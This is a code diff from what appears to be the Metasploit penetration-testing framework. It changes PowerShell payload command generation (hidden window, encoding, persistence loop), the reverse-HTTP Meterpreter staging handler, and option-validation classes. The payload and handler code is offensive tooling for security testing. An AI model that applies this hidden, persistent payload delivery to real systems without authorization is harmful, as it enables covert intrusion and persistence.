if opts[:no_equals] && !opts[:encode_final_payload]
|
||||
fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
|
||||
end
|
||||
|
||||
psh_payload = case opts[:method]
|
||||
when 'net'
|
||||
Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
|
||||
when 'reflection'
|
||||
Msf::Util::EXE.to_win32pe_psh_reflection(framework, pay)
|
||||
when 'old'
|
||||
Msf::Util::EXE.to_win32pe_psh(framework, pay)
|
||||
when 'msil'
|
||||
fail RuntimeError, 'MSIL Powershell method no longer exists'
|
||||
else
|
||||
fail RuntimeError, 'No Powershell method specified'
|
||||
end
|
||||
|
||||
# Run our payload in a while loop
|
||||
if opts[:persist]
|
||||
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
|
||||
sleep_time = rand(5) + 5
|
||||
vprint_status("Sleep time set to #{sleep_time} seconds")
|
||||
psh_payload = "function #{fun_name}{#{psh_payload}};"
|
||||
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
|
||||
end
|
||||
|
||||
if opts[:prepend_sleep]
|
||||
if opts[:prepend_sleep].to_i > 0
|
||||
psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
|
||||
elsif opts[:prepend_sleep].to_i < 0
|
||||
vprint_error('Sleep time must be greater than or equal to 0 seconds')
|
||||
end
|
||||
end
|
||||
|
||||
compressed_payload = compress_script(psh_payload)
|
||||
encoded_payload = encode_script(psh_payload)
|
||||
|
||||
# This branch is probably never taken...
|
||||
if encoded_payload.length <= compressed_payload.length
|
||||
smallest_payload = encoded_payload
|
||||
encoded = true
|
||||
else
|
||||
if opts[:encode_inner_payload]
|
||||
encoded = true
|
||||
compressed_encoded_payload = encode_script(compressed_payload)
|
||||
|
||||
if encoded_payload.length <= compressed_encoded_payload.length
|
||||
smallest_payload = encoded_payload
|
||||
else
|
||||
smallest_payload = compressed_encoded_payload
|
||||
end
|
||||
else
|
||||
smallest_payload = compressed_payload
|
||||
encoded = false
|
||||
end
|
||||
end
|
||||
|
||||
# Wrap in hidden runtime / architecture detection
|
||||
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded)
|
||||
|
||||
command_args = {
|
||||
noprofile: true,
|
||||
windowstyle: 'hidden'
|
||||
}.merge(opts)
|
||||
|
||||
if opts[:encode_final_payload]
|
||||
command_args[:encodedcommand] = encode_script(final_payload)
|
||||
|
||||
# If '=' is a bad character pad the payload until Base64 encoded
|
||||
# payload contains none.
|
||||
if opts[:no_equals]
|
||||
while command_args[:encodedcommand].include? '='
|
||||
final_payload << ' '
|
||||
command_args[:encodedcommand] = encode_script(final_payload)
|
||||
end
|
||||
end
|
||||
else
|
||||
if opts[:use_single_quotes]
|
||||
# Escape Single Quotes
|
||||
final_payload.gsub!("'", "''")
|
||||
# Wrap command in quotes
|
||||
final_payload = "'#{final_payload}'"
|
||||
end
|
||||
|
||||
command_args[:command] = final_payload
|
||||
end
|
||||
|
||||
psh_command = generate_psh_command_line(command_args)
|
||||
|
||||
if opts[:remove_comspec]
|
||||
command = psh_command
|
||||
else
|
||||
command = "%COMSPEC% /b /c start /b /min #{psh_command}"
|
||||
unless opts.key? :shorten
|
||||
opts[:shorten] = (datastore['Powershell::method'] != 'old')
|
||||
end
|
||||
template_path = File.join(Msf::Config.data_directory,
|
||||
"templates",
|
||||
"scripts")
|
||||
|
||||
command = Rex::Powershell::Command.cmd_psh_payload(pay,
|
||||
payload_arch,
|
||||
template_path,
|
||||
opts)
|
||||
vprint_status("Powershell command length: #{command.length}")
|
||||
if command.length > 8191
|
||||
fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
|
||||
end
|
||||
|
||||
command
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Useful method cache
|
||||
#
|
||||
module PshMethods
|
||||
include Rex::Exploitation::Powershell::PshMethods
|
||||
include Rex::Powershell::PshMethods
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -219,7 +219,7 @@ module Msf
|
|||
|
||||
@requirements.each do |k, v|
|
||||
expected = k != :vuln_test ? v : 'true'
|
||||
vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}")
|
||||
vprint_status("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}")
|
||||
|
||||
if k == :activex
|
||||
bad_reqs << k if has_bad_activex?(profile[k.to_sym])
|
||||
|
@ -334,7 +334,7 @@ module Msf
|
|||
when :script
|
||||
# Gathers target data from a POST request
|
||||
parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '')
|
||||
vprint_debug("Received sniffed browser data over POST: \n#{parsed_body}.")
|
||||
vprint_status("Received sniffed browser data over POST: \n#{parsed_body}.")
|
||||
parsed_body.each { |k, v| update_profile(target_info, k.to_sym, v.first) }
|
||||
when :headers
|
||||
# Gathers target data from headers
|
||||
|
|
|
@ -3,6 +3,7 @@ require 'rex/io/stream_abstraction'
|
|||
require 'rex/sync/ref'
|
||||
require 'rex/payloads/meterpreter/patch'
|
||||
require 'rex/payloads/meterpreter/uri_checksum'
|
||||
require 'rex/post/meterpreter/packet'
|
||||
require 'rex/parser/x509_certificate'
|
||||
require 'msf/core/payload/windows/verify_ssl'
|
||||
|
||||
|
@ -19,6 +20,7 @@ module ReverseHttp
|
|||
include Msf::Handler
|
||||
include Rex::Payloads::Meterpreter::UriChecksum
|
||||
include Msf::Payload::Windows::VerifySsl
|
||||
include Rex::Post::Meterpreter
|
||||
|
||||
#
|
||||
# Returns the string representation of the handler type
|
||||
|
@ -163,7 +165,9 @@ module ReverseHttp
|
|||
def stop_handler
|
||||
if self.service
|
||||
self.service.remove_resource("/")
|
||||
Rex::ServiceManager.stop_service(self.service) if self.sessions == 0
|
||||
if self.service.resources.empty? && self.sessions == 0
|
||||
Rex::ServiceManager.stop_service(self.service)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -222,8 +226,6 @@ protected
|
|||
uuid.arch ||= obj.arch
|
||||
uuid.platform ||= obj.platform
|
||||
|
||||
print_status "#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}... (UUID:#{uuid.to_s})"
|
||||
|
||||
conn_id = nil
|
||||
if info[:mode] && info[:mode] != :connect
|
||||
conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
|
||||
|
@ -233,7 +235,25 @@ protected
|
|||
|
||||
# Process the requested resource.
|
||||
case info[:mode]
|
||||
when :init_connect
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Redirecting stageless connection ...")
|
||||
|
||||
# Handle the case where stageless payloads call in on the same URI when they
|
||||
# first connect. From there, we tell them to callback on a connect URI that
|
||||
# was generated on the fly. This means we form a new session for each.
|
||||
sum = uri_checksum_lookup(:connect)
|
||||
new_uri = generate_uri_uuid(sum, uuid) + '/'
|
||||
|
||||
# This bit is going to need to be validated by the Ruby/MSF masters as I
|
||||
# am not sure that this is the best way to get a TLV packet out from this
|
||||
# handler.
|
||||
# Hurl a TLV back at the caller, and ignore the response
|
||||
pkt = Packet.new(PACKET_TYPE_RESPONSE, 'core_patch_url')
|
||||
pkt.add_tlv(TLV_TYPE_TRANS_URL, new_uri)
|
||||
resp.body = pkt.to_r
|
||||
|
||||
when :init_python
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Python payload ...")
|
||||
url = payload_uri(req) + conn_id + '/'
|
||||
|
||||
blob = ""
|
||||
|
@ -268,6 +288,7 @@ protected
|
|||
})
|
||||
|
||||
when :init_java
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Java payload ...")
|
||||
url = payload_uri(req) + conn_id + "/\x00"
|
||||
|
||||
blob = ""
|
||||
|
@ -296,9 +317,9 @@ protected
|
|||
})
|
||||
|
||||
when :init_native
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Native payload ...")
|
||||
url = payload_uri(req) + conn_id + "/\x00"
|
||||
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
|
||||
resp['Content-Type'] = 'application/octet-stream'
|
||||
|
||||
blob = obj.stage_payload
|
||||
|
@ -335,9 +356,10 @@ protected
|
|||
})
|
||||
|
||||
when :connect
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Attaching orphaned/stageless session ...")
|
||||
|
||||
resp.body = ""
|
||||
conn_id = req.relative_resource
|
||||
print_status("Incoming orphaned or stageless session #{conn_id}, attaching...")
|
||||
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
create_session(cli, {
|
||||
|
|
|
@ -38,7 +38,10 @@ module Handler::ReverseHttp::Stageless
|
|||
host = datastore['LHOST']
|
||||
host = "[#{host}]" if Rex::Socket.is_ipv6?(host)
|
||||
url = "http#{opts[:ssl] ? "s" : ""}://#{host}:#{datastore['LPORT']}"
|
||||
url << "#{generate_uri_uuid_mode(:connect)}/"
|
||||
|
||||
# Use the init_connect mode because we're stageless. This will force
|
||||
# MSF to generate a new URI when the first request is made.
|
||||
url << "#{generate_uri_uuid_mode(:init_connect)}/"
|
||||
|
||||
# invoke the given function to generate the architecture specific payload
|
||||
opts[:generator].call(url) do |dll|
|
||||
|
|
|
@ -3,6 +3,8 @@ require 'msf/core'
|
|||
|
||||
module Msf
|
||||
|
||||
autoload :OptionContainer, 'msf/core/option_container'
|
||||
|
||||
###
|
||||
#
|
||||
# The module base class is responsible for providing the common interface
|
||||
|
@ -276,7 +278,18 @@ class Module
|
|||
end
|
||||
|
||||
#
|
||||
# Support fail_with for all module types, allow specific classes to override
|
||||
# Raises a RuntimeError failure message. This is meant to be used for all non-exploits,
|
||||
# and allows specific classes to override.
|
||||
#
|
||||
# @param reason [String] A reason about the failure.
|
||||
# @param msg [String] (Optional) A message about the failure.
|
||||
# @raise [RuntimeError]
|
||||
# @return [void]
|
||||
# @note If you are writing an exploit, you don't use this API. Instead, please refer to the
|
||||
# API documentation from lib/msf/core/exploit.rb.
|
||||
# @see Msf::Exploit#fail_with
|
||||
# @example
|
||||
# fail_with('No Access', 'Unable to login')
|
||||
#
|
||||
def fail_with(reason, msg=nil)
|
||||
raise RuntimeError, "#{reason.to_s}: #{msg}"
|
||||
|
|
|
@ -1,9 +1,4 @@
|
|||
module Msf::Module::UI::Message::Verbose
|
||||
# Verbose version of #print_debug
|
||||
def vprint_debug(msg)
|
||||
print_debug(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE']
|
||||
end
|
||||
|
||||
# Verbose version of #print_error
|
||||
def vprint_error(msg)
|
||||
print_error(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE']
|
||||
|
|
|
@ -315,21 +315,40 @@ class Msf::ModuleSet < Hash
|
|||
# @return [Array<Array<String, Class>>] Array of arrays where the inner array is a pair of the module reference name
|
||||
# and the module class.
|
||||
def rank_modules
|
||||
self.mod_ranked = self.sort { |a, b|
|
||||
a_name, a_mod = a
|
||||
b_name, b_mod = b
|
||||
|
||||
# Dynamically loads the module if needed
|
||||
a_mod = create(a_name) if a_mod == Msf::SymbolicModule
|
||||
b_mod = create(b_name) if b_mod == Msf::SymbolicModule
|
||||
|
||||
# Extract the ranking between the two modules
|
||||
a_rank = a_mod.const_defined?('Rank') ? a_mod.const_get('Rank') : Msf::NormalRanking
|
||||
b_rank = b_mod.const_defined?('Rank') ? b_mod.const_get('Rank') : Msf::NormalRanking
|
||||
self.mod_ranked = self.sort { |a_pair, b_pair|
|
||||
a_rank = module_rank(*a_pair)
|
||||
b_rank = module_rank(*b_pair)
|
||||
|
||||
# Compare their relevant rankings. Since we want highest to lowest,
|
||||
# we compare b_rank to a_rank in terms of higher/lower precedence
|
||||
b_rank <=> a_rank
|
||||
}
|
||||
end
|
||||
|
||||
# Retrieves the rank from a loaded, not-yet-loaded, or unloadable Metasploit Module.
|
||||
#
|
||||
# @param reference_name [String] The reference name of the Metasploit Module
|
||||
# @param metasploit_module_class [Class<Msf::Module>, Msf::SymbolicModule] The loaded `Class` for the Metasploit
|
||||
# Module, or {Msf::SymbolicModule} if the Metasploit Module is not loaded yet.
|
||||
# @return [Integer] an `Msf::*Ranking`. `Msf::ManualRanking` if `metasploit_module_class` is `nil` or
|
||||
# {Msf::SymbolicModule} and it could not be loaded by {#create}. Otherwise, the `Rank` constant of the
|
||||
# `metasploit_module_class` or {Msf::NormalRanking} if `metasploit_module_class` does not define `Rank`.
|
||||
def module_rank(reference_name, metasploit_module_class)
|
||||
if metasploit_module_class.nil?
|
||||
Msf::ManualRanking
|
||||
elsif metasploit_module_class == Msf::SymbolicModule
|
||||
# TODO don't create an instance just to get the Class.
|
||||
created_metasploit_module_instance = create(reference_name)
|
||||
|
||||
if created_metasploit_module_instance.nil?
|
||||
module_rank(reference_name, nil)
|
||||
else
|
||||
module_rank(reference_name, created_metasploit_module_instance.class)
|
||||
end
|
||||
elsif metasploit_module_class.const_defined? :Rank
|
||||
metasploit_module_class.const_get :Rank
|
||||
else
|
||||
Msf::NormalRanking
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,74 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
#
|
||||
# Builtin framework options with shortcut methods
|
||||
#
|
||||
# @example
|
||||
# register_options(
|
||||
# [
|
||||
# Opt::RHOST,
|
||||
# Opt::RPORT(21),
|
||||
# ]
|
||||
# )
|
||||
# register_advanced_options([Opt::Proxies])
|
||||
#
|
||||
module Opt
|
||||
|
||||
# @return [OptAddress]
|
||||
def self.CHOST(default=nil, required=false, desc="The local client address")
|
||||
Msf::OptAddress.new(__method__.to_s, [ required, desc, default ])
|
||||
end
|
||||
|
||||
# @return [OptPort]
|
||||
def self.CPORT(default=nil, required=false, desc="The local client port")
|
||||
Msf::OptPort.new(__method__.to_s, [ required, desc, default ])
|
||||
end
|
||||
|
||||
# @return [OptAddress]
|
||||
def self.LHOST(default=nil, required=true, desc="The listen address")
|
||||
Msf::OptAddress.new(__method__.to_s, [ required, desc, default ])
|
||||
end
|
||||
|
||||
# @return [OptPort]
|
||||
def self.LPORT(default=nil, required=true, desc="The listen port")
|
||||
Msf::OptPort.new(__method__.to_s, [ required, desc, default ])
|
||||
end
|
||||
|
||||
# @return [OptString]
|
||||
def self.Proxies(default=nil, required=false, desc="A proxy chain of format type:host:port[,type:host:port][...]")
|
||||
Msf::OptString.new(__method__.to_s, [ required, desc, default ])
|
||||
end
|
||||
|
||||
# @return [OptAddress]
|
||||
def self.RHOST(default=nil, required=true, desc="The target address")
|
||||
Msf::OptAddress.new(__method__.to_s, [ required, desc, default ])
|
||||
end
|
||||
|
||||
# @return [OptPort]
|
||||
def self.RPORT(default=nil, required=true, desc="The target port")
|
||||
Msf::OptPort.new(__method__.to_s, [ required, desc, default ])
|
||||
end
|
||||
|
||||
# These are unused but remain for historical reasons
|
||||
class << self
|
||||
alias builtin_chost CHOST
|
||||
alias builtin_cport CPORT
|
||||
alias builtin_lhost LHOST
|
||||
alias builtin_lport LPORT
|
||||
alias builtin_proxies Proxies
|
||||
alias builtin_rhost RHOST
|
||||
alias builtin_rport RPORT
|
||||
end
|
||||
|
||||
CHOST = CHOST()
|
||||
CPORT = CPORT()
|
||||
LHOST = LHOST()
|
||||
LPORT = LPORT()
|
||||
Proxies = Proxies()
|
||||
RHOST = RHOST()
|
||||
RPORT = RPORT()
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,37 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Network address option.
|
||||
#
|
||||
###
|
||||
class OptAddress < OptBase
|
||||
def type
|
||||
return 'address'
|
||||
end
|
||||
|
||||
def valid?(value)
|
||||
return false if empty_required_value?(value)
|
||||
return false unless value.kind_of?(String) or value.kind_of?(NilClass)
|
||||
|
||||
if (value != nil and value.empty? == false)
|
||||
begin
|
||||
getaddr_result = ::Rex::Socket.getaddress(value, true)
|
||||
# Covers a wierdcase where an incomplete ipv4 address will have it's
|
||||
# missing octets filled in with 0's. (e.g 192.168 become 192.0.0.168)
|
||||
# which does not feel like a legit behaviour
|
||||
if value =~ /^\d{1,3}(\.\d{1,3}){1,3}$/
|
||||
return false unless value =~ Rex::Socket::MATCH_IPV4
|
||||
end
|
||||
rescue
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
return super
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,51 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Network address range option.
|
||||
#
|
||||
###
|
||||
class OptAddressRange < OptBase
|
||||
def type
|
||||
return 'addressrange'
|
||||
end
|
||||
|
||||
def normalize(value)
|
||||
return nil unless value.kind_of?(String)
|
||||
if (value =~ /^file:(.*)/)
|
||||
path = $1
|
||||
return false if not File.exists?(path) or File.directory?(path)
|
||||
return File.readlines(path).map{ |s| s.strip}.join(" ")
|
||||
elsif (value =~ /^rand:(.*)/)
|
||||
count = $1.to_i
|
||||
return false if count < 1
|
||||
ret = ''
|
||||
count.times {
|
||||
ret << " " if not ret.empty?
|
||||
ret << [ rand(0x100000000) ].pack("N").unpack("C*").map{|x| x.to_s }.join(".")
|
||||
}
|
||||
return ret
|
||||
end
|
||||
return value
|
||||
end
|
||||
|
||||
def valid?(value)
|
||||
return false if empty_required_value?(value)
|
||||
return false unless value.kind_of?(String) or value.kind_of?(NilClass)
|
||||
|
||||
if (value != nil and value.empty? == false)
|
||||
normalized = normalize(value)
|
||||
return false if normalized.nil?
|
||||
walker = Rex::Socket::RangeWalker.new(normalized)
|
||||
if (not walker or not walker.valid?)
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
return super
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,166 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'resolv'
|
||||
require 'msf/core'
|
||||
require 'rex/socket'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# The base class for all options.
|
||||
#
|
||||
###
|
||||
class OptBase
|
||||
|
||||
#
|
||||
# Initializes a named option with the supplied attribute array.
|
||||
# The array is composed of three values.
|
||||
#
|
||||
# attrs[0] = required (boolean type)
|
||||
# attrs[1] = description (string)
|
||||
# attrs[2] = default value
|
||||
# attrs[3] = possible enum values
|
||||
# attrs[4] = Regex to validate the option
|
||||
#
|
||||
def initialize(in_name, attrs = [])
|
||||
self.name = in_name
|
||||
self.advanced = false
|
||||
self.evasion = false
|
||||
self.required = attrs[0] || false
|
||||
self.desc = attrs[1]
|
||||
self.default = attrs[2]
|
||||
self.enums = [ *(attrs[3]) ].map { |x| x.to_s }
|
||||
regex_temp = attrs[4] || nil
|
||||
if regex_temp
|
||||
# convert to string
|
||||
regex_temp = regex_temp.to_s if regex_temp.is_a? Regexp
|
||||
# remove start and end character, they will be added later
|
||||
regex_temp = regex_temp.sub(/^\^/, '').sub(/\$$/, '')
|
||||
# Add start and end marker to match the whole regex
|
||||
regex_temp = "^#{regex_temp}$"
|
||||
begin
|
||||
Regexp.compile(regex_temp)
|
||||
self.regex = regex_temp
|
||||
rescue RegexpError, TypeError => e
|
||||
raise("Invalid Regex #{regex_temp}: #{e}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if this is a required option.
|
||||
#
|
||||
def required?
|
||||
return required
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if this is an advanced option.
|
||||
#
|
||||
def advanced?
|
||||
return advanced
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if this is an evasion option.
|
||||
#
|
||||
def evasion?
|
||||
return evasion
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if the supplied type is equivalent to this option's type.
|
||||
#
|
||||
def type?(in_type)
|
||||
return (type == in_type)
|
||||
end
|
||||
|
||||
#
|
||||
# If it's required and the value is nil or empty, then it's not valid.
|
||||
#
|
||||
def valid?(value)
|
||||
if required?
|
||||
# required variable not set
|
||||
return false if (value == nil or value.to_s.empty?)
|
||||
end
|
||||
if regex
|
||||
if value.match(regex)
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if the value supplied is nil and it's required to be
|
||||
# a valid value
|
||||
#
|
||||
def empty_required_value?(value)
|
||||
return (required? and value.nil?)
|
||||
end
|
||||
|
||||
#
|
||||
# Normalizes the supplied value to conform with the type that the option is
|
||||
# conveying.
|
||||
#
|
||||
def normalize(value)
|
||||
value
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a string representing a user-friendly display of the chosen value
|
||||
#
|
||||
def display_value(value)
|
||||
value.to_s
|
||||
end
|
||||
|
||||
#
|
||||
# The name of the option.
|
||||
#
|
||||
attr_reader :name
|
||||
#
|
||||
# Whether or not the option is required.
|
||||
#
|
||||
attr_reader :required
|
||||
#
|
||||
# The description of the option.
|
||||
#
|
||||
attr_reader :desc
|
||||
#
|
||||
# The default value of the option.
|
||||
#
|
||||
attr_reader :default
|
||||
#
|
||||
# Storing the name of the option.
|
||||
#
|
||||
attr_writer :name
|
||||
#
|
||||
# Whether or not this is an advanced option.
|
||||
#
|
||||
attr_accessor :advanced
|
||||
#
|
||||
# Whether or not this is an evasion option.
|
||||
#
|
||||
attr_accessor :evasion
|
||||
#
|
||||
# The module or entity that owns this option.
|
||||
#
|
||||
attr_accessor :owner
|
||||
#
|
||||
# The list of potential valid values
|
||||
#
|
||||
attr_accessor :enums
|
||||
#
|
||||
# A optional regex to validate the option value
|
||||
#
|
||||
attr_accessor :regex
|
||||
|
||||
protected
|
||||
|
||||
attr_writer :required, :desc, :default # :nodoc:
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,48 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Boolean option.
|
||||
#
|
||||
###
|
||||
class OptBool < OptBase
|
||||
|
||||
TrueRegex = /^(y|yes|t|1|true)$/i
|
||||
|
||||
def type
|
||||
return 'bool'
|
||||
end
|
||||
|
||||
def valid?(value)
|
||||
return false if empty_required_value?(value)
|
||||
|
||||
if ((value != nil and
|
||||
(value.to_s.empty? == false) and
|
||||
(value.to_s.match(/^(y|yes|n|no|t|f|0|1|true|false)$/i) == nil)))
|
||||
return false
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
def normalize(value)
|
||||
if(value.nil? or value.to_s.match(TrueRegex).nil?)
|
||||
false
|
||||
else
|
||||
true
|
||||
end
|
||||
end
|
||||
|
||||
def is_true?(value)
|
||||
return normalize(value)
|
||||
end
|
||||
|
||||
def is_false?(value)
|
||||
return !is_true?(value)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,48 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Enum option.
|
||||
#
|
||||
###
|
||||
class OptEnum < OptBase
|
||||
|
||||
def type
|
||||
return 'enum'
|
||||
end
|
||||
|
||||
def valid?(value=self.value)
|
||||
return false if empty_required_value?(value)
|
||||
return true if value.nil? and !required?
|
||||
|
||||
(value and self.enums.include?(value.to_s))
|
||||
end
|
||||
|
||||
def normalize(value=self.value)
|
||||
return nil if not self.valid?(value)
|
||||
return value.to_s
|
||||
end
|
||||
|
||||
def desc=(value)
|
||||
self.desc_string = value
|
||||
|
||||
self.desc
|
||||
end
|
||||
|
||||
def desc
|
||||
if self.enums
|
||||
str = self.enums.join(', ')
|
||||
end
|
||||
"#{self.desc_string || ''} (accepted: #{str})"
|
||||
end
|
||||
|
||||
|
||||
protected
|
||||
|
||||
attr_accessor :desc_string # :nodoc:
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,35 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Integer option.
|
||||
#
|
||||
###
|
||||
class OptInt < OptBase
|
||||
def type
|
||||
return 'integer'
|
||||
end
|
||||
|
||||
def normalize(value)
|
||||
if (value.to_s.match(/^0x[a-fA-F\d]+$/))
|
||||
value.to_i(16)
|
||||
else
|
||||
value.to_i
|
||||
end
|
||||
end
|
||||
|
||||
def valid?(value)
|
||||
return super if !required? and value.to_s.empty?
|
||||
return false if empty_required_value?(value)
|
||||
|
||||
if value and not value.to_s.match(/^0x[0-9a-fA-F]+$|^-?\d+$/)
|
||||
return false
|
||||
end
|
||||
|
||||
return super
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,44 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# File system path option.
|
||||
#
|
||||
###
|
||||
class OptPath < OptBase
|
||||
def type
|
||||
return 'path'
|
||||
end
|
||||
|
||||
# Generally, 'value' should be a file that exists.
|
||||
def valid?(value)
|
||||
return false if empty_required_value?(value)
|
||||
if value and !value.empty?
|
||||
if value =~ /^memory:\s*([0-9]+)/i
|
||||
return false unless check_memory_location($1)
|
||||
else
|
||||
unless File.exists?(value)
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
||||
return super
|
||||
end
|
||||
|
||||
# The AuthBrute mixin can take a memory address as well --
|
||||
# currently, no other OptFile can make use of these objects.
|
||||
# TODO: Implement memory:xxx to be more generally useful so
|
||||
# the validator on OptFile isn't lying for non-AuthBrute.
|
||||
def check_memory_location(id)
|
||||
return false unless self.class.const_defined?(:ObjectSpace)
|
||||
obj = ObjectSpace._id2ref(id.to_i) rescue nil
|
||||
return false unless obj.respond_to? :acts_as_file?
|
||||
return false unless obj.acts_as_file? # redundant?
|
||||
return !!obj
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,31 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Network port option.
|
||||
#
|
||||
###
|
||||
class OptPort < OptBase
|
||||
def type
|
||||
return 'port'
|
||||
end
|
||||
|
||||
def normalize(value)
|
||||
value.to_i
|
||||
end
|
||||
|
||||
def valid?(value)
|
||||
return false if empty_required_value?(value)
|
||||
|
||||
if ((value != nil and value.to_s.empty? == false) and
|
||||
((value.to_s.match(/^\d+$/) == nil or value.to_i < 0 or value.to_i > 65535)))
|
||||
return false
|
||||
end
|
||||
|
||||
return super
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,34 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Raw, arbitrary data option.
|
||||
#
|
||||
###
|
||||
class OptRaw < OptBase
|
||||
def type
|
||||
return 'raw'
|
||||
end
|
||||
|
||||
def normalize(value)
|
||||
if (value =~ /^file:(.*)/)
|
||||
path = $1
|
||||
begin
|
||||
value = File.read(path)
|
||||
rescue ::Errno::ENOENT, ::Errno::EISDIR
|
||||
value = nil
|
||||
end
|
||||
end
|
||||
value
|
||||
end
|
||||
|
||||
def valid?(value=self.value)
|
||||
value = normalize(value)
|
||||
return false if empty_required_value?(value)
|
||||
return super
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,46 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Regexp option
|
||||
#
|
||||
###
|
||||
class OptRegexp < OptBase
|
||||
def type
|
||||
return 'regexp'
|
||||
end
|
||||
|
||||
def valid?(value)
|
||||
unless super
|
||||
return false
|
||||
end
|
||||
return true if (not required? and value.nil?)
|
||||
|
||||
begin
|
||||
Regexp.compile(value)
|
||||
|
||||
return true
|
||||
rescue RegexpError, TypeError
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def normalize(value)
|
||||
return nil if value.nil?
|
||||
return Regexp.compile(value)
|
||||
end
|
||||
|
||||
def display_value(value)
|
||||
if value.kind_of?(Regexp)
|
||||
return value.source
|
||||
elsif value.kind_of?(String)
|
||||
return display_value(normalize(value))
|
||||
end
|
||||
|
||||
return super
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,34 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Mult-byte character string option.
|
||||
#
|
||||
###
|
||||
class OptString < OptBase
|
||||
def type
|
||||
return 'string'
|
||||
end
|
||||
|
||||
def normalize(value)
|
||||
if (value =~ /^file:(.*)/)
|
||||
path = $1
|
||||
begin
|
||||
value = File.read(path)
|
||||
rescue ::Errno::ENOENT, ::Errno::EISDIR
|
||||
value = nil
|
||||
end
|
||||
end
|
||||
value
|
||||
end
|
||||
|
||||
def valid?(value=self.value)
|
||||
value = normalize(value)
|
||||
return false if empty_required_value?(value)
|
||||
return super
|
||||
end
|
||||
end
|
||||
|
||||
end
|
File diff suppressed because it is too large
Load Diff
|
@ -1,5 +1,6 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/bsd/x86'
|
||||
|
||||
###
|
||||
#
|
||||
|
@ -10,6 +11,8 @@ require 'msf/core'
|
|||
###
|
||||
module Msf::Payload::Bsd
|
||||
|
||||
include Msf::Payload::Bsd::X86
|
||||
|
||||
#
|
||||
# This mixin is chained within payloads that target the BSD platform.
|
||||
# It provides special prepends, to support things like chroot and setuid.
|
||||
|
@ -73,7 +76,6 @@ module Msf::Payload::Bsd
|
|||
ret
|
||||
end
|
